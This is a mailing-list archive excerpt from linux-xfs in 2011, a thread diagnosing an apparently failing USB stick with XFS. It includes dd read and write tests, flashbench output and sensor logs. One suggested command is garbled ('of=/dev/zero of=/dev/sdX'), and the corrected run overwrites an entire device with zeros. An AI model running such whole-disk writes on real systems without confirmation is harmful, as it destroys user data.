ICAgc3RhcnQgPSBlbmQ7CgoJICAgIHN1bSArPSBkZWx0YTsKCSAgICBpZiAoZGVsdGEgPiBtYXgp CgkJbWF4ID0gZGVsdGE7CgoJICAgIC8vIEZvcmNlIGEgcmVwb3J0IGV2ZXJ5IDEwIGJpbGxpb24g dGlja3Mgfj0gMyBzZWNvbmRzCgkgICAgaWYgKGVuZCAtIGxvb3Bfc3RhcnQgPiAxMGU5KQoJCWJy ZWFrOwoJfQoKCXByaW50ZigiJSJQUkl1NjQiOiBhdmcgJSJQUkl1NjQiIG1heCAlIlBSSXU2NCIg dGlja3NcbiIsCgkgICAgaSwKCSAgICBpID8gc3VtIC8gaSA6IDAsCgkgICAgbWF4CgkpOwogICAg fQoKICAgIHJldHVybiAwOwp9Cg== --_002_081DDE43F61F3D43929A181B477DCA95639B52E8MSXAOA6twosigma_-- From arnd@arndb.de Fri Mar 18 10:57:03 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_56 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IFuvnA042587 for ; Fri, 18 Mar 2011 10:57:02 -0500 X-ASG-Debug-ID: 1300463991-6df901c80000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from moutng.kundenserver.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 2C81DB01D20 for ; Fri, 18 Mar 2011 08:59:52 -0700 (PDT) Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.187]) by cuda.sgi.com with ESMTP id BMDR8eSdeox0SmD8 for ; Fri, 18 Mar 2011 08:59:52 -0700 (PDT) Received: from klappe2.localnet (deibp9eh1--blueice3n2.emea.ibm.com [195.212.29.180]) by mrelayeu.kundenserver.de (node=mrbap2) with ESMTP (Nemesis) id 0MWySC-1QWdST3ra0-00W7yE; Fri, 18 Mar 2011 16:59:50 +0100 From: Arnd Bergmann To: Tim Soderstrom X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Date: Fri, 18 Mar 2011 16:59:46 +0100 User-Agent: KMail/1.12.2 (Linux/2.6.37; KDE/4.3.2; x86_64; ; ) Cc: Justin Piszcz , linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz References: <30463798-7ACB-4248-8CDC-CEFCB6ABC0BE@moocowproductions.org> In-Reply-To: <30463798-7ACB-4248-8CDC-CEFCB6ABC0BE@moocowproductions.org> MIME-Version: 1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <201103181659.46558.arnd@arndb.de> X-Provags-ID: V02:K0:aBQNQtlbjpLvkPZAOHD+/W3vtq+dep8dpgS2X6MkrCH fgysC+rw1U/W4zlq5lU/y8q91cAxZkqEQb8UtACiQV4/ECiqZd aTfPdcxE3C4zcYc6Hj2NAynKXEiPAkEHOXr6o8tTg+tAeWKzT6 1Un6biU8kuWAU/oRSR0pmOyofwRJ7a6rGUDXbMu8rtkQhjKocp YXco8cJx8dlxbVEz1Y9bA== X-Barracuda-Connect: moutng.kundenserver.de[212.227.126.187] X-Barracuda-Start-Time: 1300463993 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58266 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Friday 18 March 2011, Tim Soderstrom wrote: > > > > However, after some amount of time, the errors occur below, is this USB > > stick failing? Since it has no SMART, is there any other way to verify > > the 'health' of a USB stick? > > What prompted you to go with XFS over, say, ext2? The journal will generally > cause quite a bit more writes onto your USB device. I use ext2 on my CF card > in my NAS for that reason (the spinning media is on XFS of course). I know > that's not an answer to your problem but thought I would add it as a suggestion :) Using ext2 on flash media instead of ext3 or other file systems is recommended a lot, but the situation is actually much more complex. In https://lwn.net/Articles/428584/, I explain how these things work under the cover. For a drive that can only have very few erase blocks open, using a journaled file system will always mean thrashing, but for drives with more open erase blocks, it's probably better to use a journal than not. I still need to do simulations to figure out how this exactly ends up on various file systems, and I had not considered XFS so far. Getting back to the rogiinal question, I'd recommend testing the stick by doing raw accesses instead of a file system. A simple dd if=/dev/sdX of=/dev/zero iflag=direct bs=4M will read the entire stick and report any errors. The corresponding dd of=/dev/zero of=/dev/sdX oflag=direct bs=4M writes the entire stick. Some media won't report errors on write, though, so this might not help you at all. I'm also interested in results from flashbench (git://git.linaro.org/people/arnd/flashbench.git, e.g. like http://lists.linaro.org/pipermail/flashbench-results/2011-March/000039.html) That might help explain how the stick failed. Arnd Arnd From tim@moocowproductions.org Fri Mar 18 11:17:21 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IGHGAB044092 for ; Fri, 18 Mar 2011 11:17:21 -0500 X-ASG-Debug-ID: 1300465203-0a8b02ec0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail.moocowproductions.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 53814360BB6 for ; Fri, 18 Mar 2011 09:20:03 -0700 (PDT) Received: from mail.moocowproductions.org (mail.moocowproductions.org [50.56.82.78]) by cuda.sgi.com with SMTP id QEuqxDX6SHxxNPrD for ; Fri, 18 Mar 2011 09:20:03 -0700 (PDT) Received: from macdawgpro.moocow.home (108-80-64-153.lightspeed.snantx.sbcglobal.net [108.80.64.153]) by mail.moocowproductions.org (Postfix) with ESMTPSA id 6BD19E4B82; Fri, 18 Mar 2011 11:20:02 -0500 (CDT) X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Mime-Version: 1.0 (Apple Message framework v1082) Content-Type: text/plain; charset=us-ascii From: Tim Soderstrom In-Reply-To: <201103181659.46558.arnd@arndb.de> Date: Fri, 18 Mar 2011 11:20:01 -0500 Cc: Alan Piszcz , linux-kernel@vger.kernel.org, linux-usb@vger.kernel.org, Justin Piszcz , xfs@oss.sgi.com Content-Transfer-Encoding: quoted-printable Message-Id: <74AA2E38-9C4E-45EB-B810-2B64EC731F24@moocowproductions.org> References: <30463798-7ACB-4248-8CDC-CEFCB6ABC0BE@moocowproductions.org> <201103181659.46558.arnd@arndb.de> To: Arnd Bergmann X-Mailer: Apple Mail (2.1082) X-Barracuda-Connect: mail.moocowproductions.org[50.56.82.78] X-Barracuda-Start-Time: 1300465203 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58269 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mar 18, 2011, at 10:59 AM, Arnd Bergmann wrote: > On Friday 18 March 2011, Tim Soderstrom wrote: >=20 >>>=20 >>> However, after some amount of time, the errors occur below, is this = USB >>> stick failing? Since it has no SMART, is there any other way to = verify >>> the 'health' of a USB stick? >>=20 >> What prompted you to go with XFS over, say, ext2? The journal will = generally >> cause quite a bit more writes onto your USB device. I use ext2 on my = CF card=20 >> in my NAS for that reason (the spinning media is on XFS of course). I = know >> that's not an answer to your problem but thought I would add it as a = suggestion :) >=20 > Using ext2 on flash media instead of ext3 or other file systems is > recommended a lot, but the situation is actually much more complex. > In https://lwn.net/Articles/428584/, I explain how these things work > under the cover. For a drive that can only have very few erase blocks > open, using a journaled file system will always mean thrashing, but > for drives with more open erase blocks, it's probably better to > use a journal than not. Wow that's a great article, thanks for the link! Tim From jpiszcz@lucidpixels.com Fri Mar 18 12:42:43 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_56 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IHgcer047627 for ; Fri, 18 Mar 2011 12:42:43 -0500 X-ASG-Debug-ID: 1300470334-42c302f30000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id EBD26361243 for ; Fri, 18 Mar 2011 10:45:34 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with SMTP id o1FK0eOzP3uuQiP3 for ; Fri, 18 Mar 2011 10:45:34 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id 2CB1B1282FD; Fri, 18 Mar 2011 13:45:34 -0400 (EDT) Date: Fri, 18 Mar 2011 13:45:34 -0400 (EDT) From: Justin Piszcz To: Arnd Bergmann cc: Tim Soderstrom , linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? In-Reply-To: <201103181659.46558.arnd@arndb.de> Message-ID: References: <30463798-7ACB-4248-8CDC-CEFCB6ABC0BE@moocowproductions.org> <201103181659.46558.arnd@arndb.de> User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1300470334 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 18 Mar 2011, Arnd Bergmann wrote: > On Friday 18 March 2011, Tim Soderstrom wrote: > >>> >>> However, after some amount of time, the errors occur below, is this USB >>> stick failing? Since it has no SMART, is there any other way to verify >>> the 'health' of a USB stick? >> >> What prompted you to go with XFS over, say, ext2? The journal will generally >> cause quite a bit more writes onto your USB device. I use ext2 on my CF card >> in my NAS for that reason (the spinning media is on XFS of course). I know >> that's not an answer to your problem but thought I would add it as a suggestion :) > > Using ext2 on flash media instead of ext3 or other file systems is > recommended a lot, but the situation is actually much more complex. > In https://lwn.net/Articles/428584/, I explain how these things work > under the cover. For a drive that can only have very few erase blocks > open, using a journaled file system will always mean thrashing, but > for drives with more open erase blocks, it's probably better to > use a journal than not. > > I still need to do simulations to figure out how this exactly > ends up on various file systems, and I had not considered XFS > so far. Ok, I performed all of the tests and I did not notice any type of failures, unless I am not interpreting the results correctly.. > > Getting back to the rogiinal question, I'd recommend testing the > stick by doing raw accesses instead of a file system. A simple > > dd if=/dev/sdX of=/dev/zero iflag=direct bs=4M root@sysresccd /root % time dd if=/dev/sda of=/dev/zero iflag=direct bs=4M 1960+0 records in 1960+0 records out 8220835840 bytes (8.2 GB) copied, 234.265 s, 35.1 MB/s dd if=/dev/sda of=/dev/zero iflag=direct bs=4M 0.01s user 1.88s system 0% cpu 3:54.28 total root@sysresccd /root % > > will read the entire stick and report any errors. The corresponding > > dd of=/dev/zero of=/dev/sdX oflag=direct bs=4M .. yes I took a second backup (before wiping) before doing this (below) .. > > writes the entire stick. Some media won't report errors on write, > though, so this might not help you at all. Ok, here are the results: root@sysresccd /root % time dd if=/dev/zero of=/dev/sda oflag=direct bs=4M dd: writing `/dev/sda': No space left on device 1961+0 records in 1960+0 records out 8220835840 bytes (8.2 GB) copied, 283.744 s, 29.0 MB/s dd if=/dev/zero of=/dev/sda oflag=direct bs=4M 0.01s user 7.14s system 2% cpu 4:43.75 total root@sysresccd /root % > I'm also interested in results from flashbench > (git://git.linaro.org/people/arnd/flashbench.git, e.g. like > http://lists.linaro.org/pipermail/flashbench-results/2011-March/000039.html) > That might help explain how the stick failed. Certainly, testing below, following this: http://lists.linaro.org/pipermail/flashbench-results/2011-March/000039.html # ./flashbench --open-au --open-au-nr=1 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random 2MiB 29.5M/s 1MiB 29.1M/s 512KiB 28.5M/s 256KiB 22.8M/s 128KiB 23.8M/s 64KiB 24.4M/s 32KiB 18.9M/s 16KiB 13.1M/s 8KiB 8.22M/s # ./flashbench --open-au --open-au-nr=4 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random 2MiB 25.9M/s 1MiB 21.8M/s 512KiB 15M/s 256KiB 11.9M/s 128KiB 12.1M/s 64KiB 13.6M/s 32KiB 9.81M/s 16KiB 6.41M/s 8KiB 3.88M/s # ./flashbench --open-au --open-au-nr=5 /dev/sda --blocksize=8192 --erasesize=$[2* 1024 * 1024] --random 2MiB 29.2M/s 1MiB 27.8M/s 512KiB 18.4M/s 256KiB 7.82M/s 128KiB 4.62M/s 64KiB 2.47M/s 32KiB 1.26M/s 16KiB 642K/s 8KiB 327K/s # # ./flashbench --open-au --open-au-nr=6 /dev/sda --blocksize=1024 --erasesize=$[2* 1024 * 1024] --random 2MiB 29.2M/s 1MiB 25.6M/s 512KiB 15.2M/s 256KiB 7.8M/s 128KiB 4.73M/s 64KiB 2.53M/s 32KiB 1.3M/s 16KiB 659K/s 8KiB 333K/s ^C # (did not run one with 7) # ./flashbench --findfat --fat-nr=10 /dev/sda --blocksize=1024 --erasesize=$[2* 1024 * 1024] --random 2MiB 22.7M/s 19.1M/s 15.5M/s 13.1M/s 29.5M/s 29.5M/s 29.6M/s 29.6M/s 29.5M/s 29.5M/s 1MiB 20.6M/s 13.3M/s 13.3M/s 20.8M/s 18.1M/s 17.8M/s 18M/s 18.3M/s 18.8M/s 18.6M/s 512KiB 18.4M/s 18.6M/s 18.3M/s 18.1M/s 23.5M/s 23.2M/s 23.5M/s 23.5M/s 23.4M/s 23.4M/s 256KiB 26.9M/s 21.3M/s 21.2M/s 21M/s 21.1M/s 21.2M/s 21.1M/s 21.1M/s 20.6M/s 21M/s 128KiB 22.2M/s 22.3M/s 22.6M/s 21.4M/s 21.5M/s 21.3M/s 21.6M/s 21.3M/s 21.4M/s 21.4M/s 64KiB 23.9M/s 22.6M/s 22.9M/s 23M/s 22.5M/s 22.4M/s 22.4M/s 22.4M/s 22.5M/s 22.4M/s 32KiB 18.2M/s 18.3M/s 18.3M/s 18.3M/s 18.3M/s 18.4M/s 18.3M/s 18.2M/s 18.3M/s 18.3M/s 16KiB 12.9M/s 12.9M/s 13M/s 13M/s 12.9M/s 13M/s 12.9M/s 12.9M/s 12.9M/s 12.9M/s 8KiB 8.14M/s 8.15M/s 8.15M/s 8.15M/s 8.15M/s 8.14M/s 8.14M/s 8.15M/s 8.15M/s 8.06M/s 4KiB 4.07M/s 4.08M/s 4.07M/s 4.06M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s 4.04M/s 2KiB 2.02M/s 2.02M/s 2.02M/s 2.02M/s 2.02M/s 2.01M/s 2.01M/s 2.01M/s 2.01M/s 2.02M/s 1KiB 956K/s 954K/s 956K/s 953K/s 947K/s 947K/s 947K/s 950K/s 947K/s 948K/s Ideas? Justin. From jpiszcz@lucidpixels.com Fri Mar 18 12:42:51 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_27 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IHgk3u047638 for ; Fri, 18 Mar 2011 12:42:51 -0500 X-ASG-Debug-ID: 1300470342-13d803800000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7CFDD12AFF91 for ; Fri, 18 Mar 2011 10:45:43 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with ESMTP id XHBh3pTrepLpGuRE for ; Fri, 18 Mar 2011 10:45:43 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id A121512835F; Fri, 18 Mar 2011 13:45:42 -0400 (EDT) Date: Fri, 18 Mar 2011 13:45:42 -0400 (EDT) From: Justin Piszcz To: Tim Soderstrom cc: linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? In-Reply-To: <30463798-7ACB-4248-8CDC-CEFCB6ABC0BE@moocowproductions.org> Message-ID: References: <30463798-7ACB-4248-8CDC-CEFCB6ABC0BE@moocowproductions.org> User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; format=flowed; charset=US-ASCII X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1300470343 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58274 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, 18 Mar 2011, Tim Soderstrom wrote: > > On Mar 18, 2011, at 10:08 AM, Justin Piszcz wrote: > >> Hi, >> >> I can write to just about the entire USB stick, with no errors: >> >> atom:~# df -h >> Filesystem Size Used Avail Use% Mounted on >> /dev/sda2 5.8G 1.5G 4.3G 26% / >> tmpfs 2.0G 0 2.0G 0% /lib/init/rw >> udev 10M 140K 9.9M 2% /dev >> tmpfs 2.0G 0 2.0G 0% /dev/shm >> atom:~# cd / >> atom:/# ls >> bin cdrom etc lib media nfs proc sbin srv tmp var >> boot dev home lib64 mnt opt root selinux sys usr >> atom:/# dd if=/dev/zero of=bigfile bs=1M count=4000 >> 4000+0 records in >> 4000+0 records out >> 4194304000 bytes (4.2 GB) copied, 135.536 s, 30.9 MB/s >> atom:/# df -h >> Filesystem Size Used Avail Use% Mounted on >> /dev/sda2 5.8G 5.4G 350M 95% / >> tmpfs 2.0G 0 2.0G 0% /lib/init/rw >> udev 10M 140K 9.9M 2% /dev >> tmpfs 2.0G 0 2.0G 0% /dev/shm >> atom:/# rm bigfile >> >> However, after some amount of time, the errors occur below, is this USB >> stick failing? Since it has no SMART, is there any other way to verify >> the 'health' of a USB stick? > > What prompted you to go with XFS over, say, ext2? The journal will generally cause quite a bit more writes onto your USB device. I use ext2 on my CF card in my NAS for that reason (the spinning media is on XFS of course). I know that's not an answer to your problem but thought I would add it as a suggestion :) > Hi, Just habit I suppose.. (XFS). Looks like EXT2 is the correct solution here, or ext4 w/nojournal (if Google's patch is in the kernel). I have to read the lwn.net article though. Justin From jpiszcz@lucidpixels.com Fri Mar 18 12:44:55 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_27 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2IHinUZ047749 for ; Fri, 18 Mar 2011 12:44:55 -0500 X-ASG-Debug-ID: 1300470465-3edc02990000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from lucidpixels.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id C781413C06E4 for ; Fri, 18 Mar 2011 10:47:46 -0700 (PDT) Received: from lucidpixels.com (lucidpixels.com [75.144.35.66]) by cuda.sgi.com with SMTP id O5V4WBbvBFpFzDpU for ; Fri, 18 Mar 2011 10:47:46 -0700 (PDT) Received: by lucidpixels.com (Postfix, from userid 1001) id B3016128361; Fri, 18 Mar 2011 13:47:45 -0400 (EDT) Date: Fri, 18 Mar 2011 13:47:45 -0400 (EDT) From: Justin Piszcz To: Alan Stern cc: linux-usb@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, Alan Piszcz X-ASG-Orig-Subj: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? Subject: Re: 2.6.38: XFS/USB/HW issue, or failing USB stick? In-Reply-To: Message-ID: References: User-Agent: Alpine 2.02 (DEB 1266 2009-07-14) MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="655872-1100183954-1300470465=:21715" X-Barracuda-Connect: lucidpixels.com[75.144.35.66] X-Barracuda-Start-Time: 1300470466 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58273 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. --655872-1100183954-1300470465=:21715 Content-Type: TEXT/PLAIN; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: QUOTED-PRINTABLE On Fri, 18 Mar 2011, Alan Stern wrote: > On Fri, 18 Mar 2011, Justin Piszcz wrote: > >> Hi, >> >> I can write to just about the entire USB stick, with no errors: >> >> atom:~# df -h >> Filesystem Size Used Avail Use% Mounted on >> /dev/sda2 5.8G 1.5G 4.3G 26% / >> tmpfs 2.0G 0 2.0G 0% /lib/init/rw >> udev 10M 140K 9.9M 2% /dev >> tmpfs 2.0G 0 2.0G 0% /dev/shm >> atom:~# cd / >> atom:/# ls >> bin cdrom etc lib media nfs proc sbin srv tmp var >> boot dev home lib64 mnt opt root selinux sys usr >> atom:/# dd if=3D/dev/zero of=3Dbigfile bs=3D1M count=3D4000 >> 4000+0 records in >> 4000+0 records out >> 4194304000 bytes (4.2 GB) copied, 135.536 s, 30.9 MB/s >> atom:/# df -h >> Filesystem Size Used Avail Use% Mounted on >> /dev/sda2 5.8G 5.4G 350M 95% / >> tmpfs 2.0G 0 2.0G 0% /lib/init/rw >> udev 10M 140K 9.9M 2% /dev >> tmpfs 2.0G 0 2.0G 0% /dev/shm >> atom:/# rm bigfile >> >> However, after some amount of time, the errors occur below, is this USB >> stick failing? Since it has no SMART, is there any other way to verify >> the 'health' of a USB stick? > > None that I know of. > >> Mar 18 07:55:12 atom [ 10.034310] e1000e 0000:03:00.0: eth1: 10/100 sp= eed: disabling TSO >> >> [ .. no errors .. ] >> >> Mar 18 08:32:44 atom [ 2261.883848] usb 1-1: USB disconnect, address 2 >> Mar 18 08:32:44 atom [ 2261.884465] Buffer I/O error on device sda2, log= ical block 1317256 > > The stick didn't "fail" in any obvious way, but for some reason it was > disconnected from the USB bus. (If it initiated that disconnect by > itself, I guess you could consider that a failure.) Maybe it was > something as simple as overheating causing a loss of electrical contact > between the connector and the pins in the USB port. It is possible, but the box is kept cool: w83627dhg-isa-0ca0 Adapter: ISA adapter Vcore: +1.16 V (min =3D +0.72 V, max =3D +1.39 V)=20 in1: +1.04 V (min =3D +0.94 V, max =3D +1.16 V)=20 AVCC: +3.34 V (min =3D +2.96 V, max =3D +3.63 V)=20 +3.3V: +3.34 V (min =3D +2.98 V, max =3D +3.63 V)=20 in4: +1.84 V (min =3D +1.62 V, max =3D +1.98 V)=20 in5: +1.26 V (min =3D +1.13 V, max =3D +1.38 V)=20 in6: +0.75 V (min =3D +0.67 V, max =3D +0.83 V)=20 3VSB: +3.30 V (min =3D +2.96 V, max =3D +3.63 V)=20 Vbat: +3.07 V (min =3D +2.96 V, max =3D +3.63 V)=20 fan1: 0 RPM (min =3D 727 RPM, div =3D 64) ALARM fan2: 0 RPM (min =3D 727 RPM, div =3D 64) ALARM fan3: 0 RPM (min =3D 727 RPM, div =3D 64) ALARM fan4: 1240 RPM (min =3D 712 RPM, div =3D 8) fan5: 0 RPM (min =3D 727 RPM, div =3D 64) ALARM temp1: +36.0=C2=B0C (high =3D +75.0=C2=B0C, hyst =3D +70.0=C2=B0C) = sensor =3D thermistor temp2: +35.5=C2=B0C (high =3D +90.0=C2=B0C, hyst =3D +87.0=C2=B0C) = sensor =3D diode temp3: +19.0=C2=B0C (high =3D +80.0=C2=B0C, hyst =3D +75.0=C2=B0C) = sensor =3D diode cpu0_vid: +0.000 V coretemp-isa-0000 Adapter: ISA adapter Core 0: +12.0=C2=B0C (crit =3D +100.0=C2=B0C) coretemp-isa-0001 Adapter: ISA adapter Core 1: +16.0=C2=B0C (crit =3D +100.0=C2=B0C) > > ... >> Mar 18 08:33:06 atom [ 2283.963059] usb 1-1: new high speed USB device u= sing ehci_hcd and address 4 >> Mar 18 08:33:06 atom [ 2284.080647] usb 1-1: New USB device found, idVen= dor=3D0325, idProduct=3Dac02 >> Mar 18 08:33:06 atom [ 2284.080707] usb 1-1: New USB device strings: Mfr= =3D1, Product=3D2, SerialNumber=3D3 >> Mar 18 08:33:06 atom [ 2284.080752] usb 1-1: Product: R2_TURBO >> Mar 18 08:33:06 atom [ 2284.080794] usb 1-1: Manufacturer: OCZ Technolog= y >> Mar 18 08:33:06 atom [ 2284.080831] usb 1-1: SerialNumber: (removed) > > And then 22 seconds later it reconnected. > > Alan Stern > Very strange, could some USB option cause this? I guess next step is use ext2 and a different stick in the same port to see if I can get it to recur= =2E Then if it happens again, try a different port. Justin. --655872-1100183954-1300470465=:21715-- From ru_luar35895@sohu.com Fri Mar 18 13:57:26 2011 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2IIvFvv050493 for ; Fri, 18 Mar 2011 13:57:21 -0500 X-ASG-Debug-ID: 1300474800-6bff03700000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from relay.mail.sohu.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id B410AB0717D for ; Fri, 18 Mar 2011 12:00:01 -0700 (PDT) Received: from relay.mail.sohu.com (websmtp.sohu.com [61.135.132.136]) by cuda.sgi.com with ESMTP id MbimiTwbL4f3iwCB for ; Fri, 18 Mar 2011 12:00:01 -0700 (PDT) Received: from yrisyupjkc (unknown [112.104.38.71]) by relay.mail.sohu.com (Postfix) with ESMTPA id 569693A59D0A for ; Sat, 19 Mar 2011 02:59:13 +0800 (CST) Message-ID: <001f01cbe57d$3404898c$869fc232@yrisyupjkc> From: "Jin Fengnong" To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: =?gb2312?B?1ebWv7XE16MnuKPJ07j4xOMn?= Subject: =?gb2312?B?1ebWv7XE16MnuKPJ07j4xOMn?= Date: Fri, 18 Mar 2011 18:59:31 +0800 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_001A_01CBE57D.16002F44" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1807 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1807 X-SOHU-Antispam-Bayes: 0 X-Barracuda-Connect: websmtp.sohu.com[61.135.132.136] 